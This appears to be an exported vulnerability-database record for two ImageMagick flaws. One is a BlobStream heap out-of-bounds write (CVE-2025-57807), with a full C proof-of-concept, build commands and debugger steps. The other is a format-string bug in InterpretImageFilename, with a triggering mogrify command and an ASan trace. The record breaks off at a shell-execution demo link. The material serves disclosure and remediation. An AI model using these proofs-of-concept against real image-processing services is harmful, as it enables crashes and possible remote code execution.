`data: unsigned char*`

**Contract mismatch:**

- [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment.
    
- [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then:
    
    ```
    q = data + (size_t)offset;
    memmove(q, src, length);
    ```
    
    There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation.
    

**Wrap-free demonstration:**  
Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer.

---

## Exploitability & Reachability

- **Primitive:** Controlled bytes written at a controlled displacement from the buffer base.
    
- **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers.
    
- **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory.
    

---

## Impact Assessment

- **Integrity:** High - adjacent object/metadata overwrite plausible.
    
- **Availability:** High - reliably crashable (ASan and non-ASan).
    
- **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process.
    
- **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent.
    

---

## CVSS v3.1 Rationale (9.8)

- **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action.
    
- **AC:L** - a single forward seek + write suffices; no races or specialized state.
    
- **S:U** - corruption localized to the ImageMagick process.
    
- **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service).
    

_Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._

---

## Violated Invariant

> **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.**

The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant.

---

## Remediation (Principle)

In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case):

1. **Checked requirement:**  
    `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail.
    
2. **Ensure capacity ≥ need:**  
    `target = MagickMax(extent + quantum + length, need);`  
    (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.)
    
3. **Reallocate to `target + 1` before copying;** then perform the move.
    

**Companion hardening (recommended):**

- Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant.
    
- Centralize blob arithmetic in checked helpers.
    
- Unit tests: forward-seek-then-write (success and overflow-reject).
    

---

## Regression & Compatibility

- **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail).
    
- **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams.
    

---

## Vendor Verification Checklist

- Reproduce with a minimal in-memory BlobStream harness under ASan.
    
- Apply fix; verify `extent ≥ offset + length` at all write sites.
    
- Add forward-seek test cases (positive/negative).
    
- Audit other growth sites (`SetBlobExtent`, stream helpers).
    
- Clarify BlobStream seek semantics in documentation.
    
- Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure.
    

---

# PoC / Reproduction / Notes

## Environment

- **OS/Arch:** macOS 14 (arm64)
    
- **Compiler:** clang-17 with AddressSanitizer
    
- **ImageMagick:** Q16-HDRI
    
- **Prefix:** `~/opt/im-7.1.2-0`
    
- **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`)
    

---

## Build ImageMagick 7.1.2-0 (static, minimal)

```bash
./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \
  --disable-shared --enable-static --without-modules \
  --without-magick-plus-plus --disable-openmp --without-perl \
  --without-x --without-lqr --without-gslib

make -j"$(sysctl -n hw.ncpu)"
make install

"$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt
```

---

## Build & Run the PoC (memory-backed BlobStream)

**`poc.c`:**  
_Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._

```c
// poc.c

#include <stdio.h>

#include <stdlib.h>

#include <MagickCore/MagickCore.h>

#include <MagickCore/blob.h>

#include "MagickCore/blob-private.h"

  

int main(int argc, char **argv) {

MagickCoreGenesis(argv[0], MagickTrue);

ExceptionInfo *e = AcquireExceptionInfo();

ImageInfo *ii = AcquireImageInfo();

Image *im = AcquireImage(ii, e);

if (!im) return 1;

  

// 1-byte memory blob → BlobStream

unsigned char *buf = (unsigned char*) malloc(1);

buf[0] = 0x41;

AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0

SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf

  

// Step 1: write 1 byte (creates BlobInfo + sets offset=1)

unsigned char A = 0x42;

(void) WriteBlob(im, 1, &A);

fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 2: seek way past end without growing capacity

const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB

(void) SeekBlob(im, big, SEEK_SET);

fprintf(stderr, "[+] after seek: off=%lld len=%zu\n",

(long long) TellBlob(im), (size_t) GetBlobSize(im));

  

// Step 3: small write → reallocation grows by quantum+length, not to offset+length

// memcpy then writes to data + offset (OOB)

const unsigned char payload[] = "PWN";

(void) WriteBlob(im, sizeof(payload), payload);

  

// If we get here, it didn't crash

fprintf(stderr, "[-] no crash; check ASan flags.\n");

  

(void) CloseBlob(im);

DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e);

MagickCoreTerminus();

return 0;

}
```

---

`run:`

```bash
# Use the private prefix for pkg-config
export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH"

# Strict ASan for crisp failure
export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0'

# Compile (static link pulls transitive deps via --static)
clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \
  $(pkg-config --cflags MagickCore-7.Q16HDRI) \
  $(pkg-config --static --libs MagickCore-7.Q16HDRI)

# Execute and capture
./poc 2>&1 | tee asan.log
```

**Expected markers prior to the fault:**

```
[+] after 1 byte: off=1 len=1
[+] after seek:  off=268435456 len=1
```

An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`).

---

## Debugger Verification (manual)

LLDB can be used to snapshot the invariants; ASan alone is sufficient.

```
lldb ./poc
(lldb) settings set use-color false
(lldb) break set -n WriteBlob
(lldb) run

# First stop (prime write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) continue

# Second stop (post-seek write)
(lldb) frame var length
(lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped
(lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length
(lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset)

# Into the fault; if inside memmove (no locals):
(lldb) bt
(lldb) frame select 1
(lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum
```

**Expected at second stop:**  
`type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`.
    
---

## Credits

**Reported by:** Lumina Mescuwa

---
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57807.json
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-57807.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-57807
reference_id
reference_type
scores
0
value 0.00047
scoring_system epss
scoring_elements 0.14568
published_at 2026-04-26T12:55:00Z
1
value 0.00047
scoring_system epss
scoring_elements 0.1457
published_at 2026-04-24T12:55:00Z
2
value 0.00047
scoring_system epss
scoring_elements 0.14541
published_at 2026-04-21T12:55:00Z
3
value 0.00047
scoring_system epss
scoring_elements 0.14476
published_at 2026-04-18T12:55:00Z
4
value 0.00047
scoring_system epss
scoring_elements 0.14472
published_at 2026-04-16T12:55:00Z
5
value 0.00047
scoring_system epss
scoring_elements 0.1458
published_at 2026-04-13T12:55:00Z
6
value 0.00047
scoring_system epss
scoring_elements 0.14635
published_at 2026-04-12T12:55:00Z
7
value 0.00047
scoring_system epss
scoring_elements 0.14674
published_at 2026-04-11T12:55:00Z
8
value 0.00047
scoring_system epss
scoring_elements 0.14565
published_at 2026-04-07T12:55:00Z
9
value 0.00047
scoring_system epss
scoring_elements 0.14714
published_at 2026-04-09T12:55:00Z
10
value 0.00047
scoring_system epss
scoring_elements 0.14655
published_at 2026-04-08T12:55:00Z
11
value 0.00047
scoring_system epss
scoring_elements 0.14757
published_at 2026-04-04T12:55:00Z
12
value 0.00047
scoring_system epss
scoring_elements 0.14684
published_at 2026-04-02T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-57807
2
reference_url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57807
reference_id
reference_type
scores
url https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-57807
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/ImageMagick/ImageMagick
reference_id
reference_type
scores
0
value 3.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://github.com/ImageMagick/ImageMagick
5
reference_url https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e
reference_id
reference_type
scores
0
value 3.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-08T13:58:41Z/
url https://github.com/ImageMagick/ImageMagick/commit/077a417a19a5ea8c85559b602754a5b928eef23e
6
reference_url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg
reference_id
reference_type
scores
0
value 3.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
1
value LOW
scoring_system cvssv3.1_qr
scoring_elements
2
value LOW
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-09-08T13:58:41Z/
url https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-23hg-53q6-hqfg
7
reference_url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
reference_id
reference_type
scores
0
value 3.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html
8
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-57807
reference_id
reference_type
scores
0
value 3.8
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
1
value LOW
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-57807
9
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1114520
reference_id 1114520
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1114520
10
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2393590
reference_id 2393590
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2393590
11
reference_url https://github.com/advisories/GHSA-23hg-53q6-hqfg
reference_id GHSA-23hg-53q6-hqfg
reference_type
scores
0
value LOW
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-23hg-53q6-hqfg
12
reference_url https://usn.ubuntu.com/7756-1/
reference_id USN-7756-1
reference_type
scores
url https://usn.ubuntu.com/7756-1/
fixed_packages
0
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u4?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eb4u-x1mt-2uan
11
vulnerability VCID-eeju-vhdm-aqbe
12
vulnerability VCID-egwu-28fp-dye6
13
vulnerability VCID-g41y-dv8u-3yf1
14
vulnerability VCID-g679-q851-xub7
15
vulnerability VCID-j6tc-f4fc-mbcv
16
vulnerability VCID-jc5m-7rvc-2qg6
17
vulnerability VCID-jcjk-s89c-mbbm
18
vulnerability VCID-n47w-r932-abey
19
vulnerability VCID-qjxn-gm96-7ygc
20
vulnerability VCID-r3vw-ncns-cqgb
21
vulnerability VCID-rbdg-vz8x-ykah
22
vulnerability VCID-rjkf-pdny-2fhn
23
vulnerability VCID-sw7g-hxxr-n3e1
24
vulnerability VCID-tt6z-t31v-dkdd
25
vulnerability VCID-tv15-dcnu-pbbn
26
vulnerability VCID-utfe-h3b7-jqcj
27
vulnerability VCID-uvkp-1zss-57gr
28
vulnerability VCID-w9zg-tsbg-afa1
29
vulnerability VCID-x8c6-9pse-xkc8
30
vulnerability VCID-y58b-be93-hbfd
31
vulnerability VCID-zab9-9tqj-hbhg
32
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u4%3Fdistro=trixie
1
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.3%2Bdeb11u6?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.3%252Bdeb11u6%3Fdistro=trixie
2
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u4?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u4%3Fdistro=trixie
3
url pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:6.9.11.60%2Bdfsg-1.6%2Bdeb12u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1cpn-zvem-v7gt
1
vulnerability VCID-2zje-ag2v-7kac
2
vulnerability VCID-381g-7gdr-qydg
3
vulnerability VCID-441f-z9bp-vbdu
4
vulnerability VCID-54da-fzyt-4ud2
5
vulnerability VCID-6h7x-3rue-kucp
6
vulnerability VCID-6v1d-1wfr-vqd1
7
vulnerability VCID-7gb9-gd78-7bdu
8
vulnerability VCID-a2qm-vkc3-qkd5
9
vulnerability VCID-cuhw-ew1g-s3h2
10
vulnerability VCID-eeju-vhdm-aqbe
11
vulnerability VCID-egwu-28fp-dye6
12
vulnerability VCID-g41y-dv8u-3yf1
13
vulnerability VCID-g679-q851-xub7
14
vulnerability VCID-j6tc-f4fc-mbcv
15
vulnerability VCID-jc5m-7rvc-2qg6
16
vulnerability VCID-jcjk-s89c-mbbm
17
vulnerability VCID-n47w-r932-abey
18
vulnerability VCID-qjxn-gm96-7ygc
19
vulnerability VCID-r3vw-ncns-cqgb
20
vulnerability VCID-rbdg-vz8x-ykah
21
vulnerability VCID-rjkf-pdny-2fhn
22
vulnerability VCID-sw7g-hxxr-n3e1
23
vulnerability VCID-tt6z-t31v-dkdd
24
vulnerability VCID-tv15-dcnu-pbbn
25
vulnerability VCID-utfe-h3b7-jqcj
26
vulnerability VCID-uvkp-1zss-57gr
27
vulnerability VCID-w9zg-tsbg-afa1
28
vulnerability VCID-x8c6-9pse-xkc8
29
vulnerability VCID-y58b-be93-hbfd
30
vulnerability VCID-zab9-9tqj-hbhg
31
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:6.9.11.60%252Bdfsg-1.6%252Bdeb12u5%3Fdistro=trixie
4
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u2?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u2%3Fdistro=trixie
5
url pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.1.43%2Bdfsg1-1%2Bdeb13u5?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-a2qm-vkc3-qkd5
7
vulnerability VCID-eeju-vhdm-aqbe
8
vulnerability VCID-egwu-28fp-dye6
9
vulnerability VCID-j6tc-f4fc-mbcv
10
vulnerability VCID-jc5m-7rvc-2qg6
11
vulnerability VCID-qjxn-gm96-7ygc
12
vulnerability VCID-tt6z-t31v-dkdd
13
vulnerability VCID-uvkp-1zss-57gr
14
vulnerability VCID-w9zg-tsbg-afa1
15
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.1.43%252Bdfsg1-1%252Bdeb13u5%3Fdistro=trixie
6
url pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.3%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.3%252Bdfsg1-1%3Fdistro=trixie
7
url pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.16%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-jc5m-7rvc-2qg6
1
vulnerability VCID-tt6z-t31v-dkdd
2
vulnerability VCID-zvq4-ybph-buga
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.16%252Bdfsg1-1%3Fdistro=trixie
8
url pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.18%2Bdfsg1-1?distro=trixie
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2yv5-qdeg-9bag
1
vulnerability VCID-381g-7gdr-qydg
2
vulnerability VCID-441f-z9bp-vbdu
3
vulnerability VCID-4s37-h3p7-6uab
4
vulnerability VCID-6v1d-1wfr-vqd1
5
vulnerability VCID-7gb9-gd78-7bdu
6
vulnerability VCID-eeju-vhdm-aqbe
7
vulnerability VCID-egwu-28fp-dye6
8
vulnerability VCID-j6tc-f4fc-mbcv
9
vulnerability VCID-qjxn-gm96-7ygc
10
vulnerability VCID-uvkp-1zss-57gr
11
vulnerability VCID-w9zg-tsbg-afa1
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.18%252Bdfsg1-1%3Fdistro=trixie
9
url pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
purl pkg:deb/debian/imagemagick@8:7.1.2.19%2Bdfsg1-1?distro=trixie
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:deb/debian/imagemagick@8:7.1.2.19%252Bdfsg1-1%3Fdistro=trixie
aliases CVE-2025-57807, GHSA-23hg-53q6-hqfg
risk_score 1.9
exploitability 0.5
weighted_severity 3.8
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mxg1-261s-nbds
3
url VCID-r889-wzc7-1yem
vulnerability_id VCID-r889-wzc7-1yem
summary
ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution
## Summary
A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution.
<br>

## Details
### root cause
```
MagickExport size_t InterpretImageFilename(const ImageInfo *image_info,
  Image *image,const char *format,int value,char *filename,
  ExceptionInfo *exception)
{

...

  while ((cursor=strchr(cursor,'%')) != (const char *) NULL)
  {
    const char
      *q = cursor;

    ssize_t
      offset = (ssize_t) (cursor-format);

    cursor++;  /* move past '%' */
    if (*cursor == '%')
      {
        /*
          Escaped %%.
        */
        cursor++;
        continue;
      }
    /*
      Skip padding digits like %03d.
    */
    if (isdigit((int) ((unsigned char) *cursor)) != 0)
      (void) strtol(cursor,(char **) &cursor,10);
    switch (*cursor)
    {
      case 'd':
      case 'o':
      case 'x':
      {
        ssize_t
          count;

        count=FormatLocaleString(pattern,sizeof(pattern),q,value);
        if ((count <= 0) || (count >= MagickPathExtent) ||
            ((offset+count) >= MagickPathExtent))
          return(0);
        (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent-
          offset));
        cursor++;
        break;
      }
```
When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function.
<br>
```
MagickExport ssize_t FormatLocaleString(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,...)
{
  ssize_t
    n;

  va_list
    operands;

  va_start(operands,format);
  n=FormatLocaleStringList(string,length,format,operands);
  va_end(operands);
  return(n);
}
```
```
MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string,
  const size_t length,const char *magick_restrict format,va_list operands)
{
...
n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands);
```
Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations.
<br>
## PoC
### 1. Heap overflow read tested on development container
```
root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n
=================================================================
==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408
READ of size 8 at 0x603000000001 thread T0
    #0 0x5bdccaae689d in SplaySplayTree splay-tree.c
    #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #10 0x73b2102b2d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)
    #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)

0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028)
allocated by thread T0 here:
    #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171)
    #1 0x73b21031915a  (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd)

SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==55653==ABORTING
```
Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition.
<br>

### 2. Shell execution tested on a local environment

https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94

```
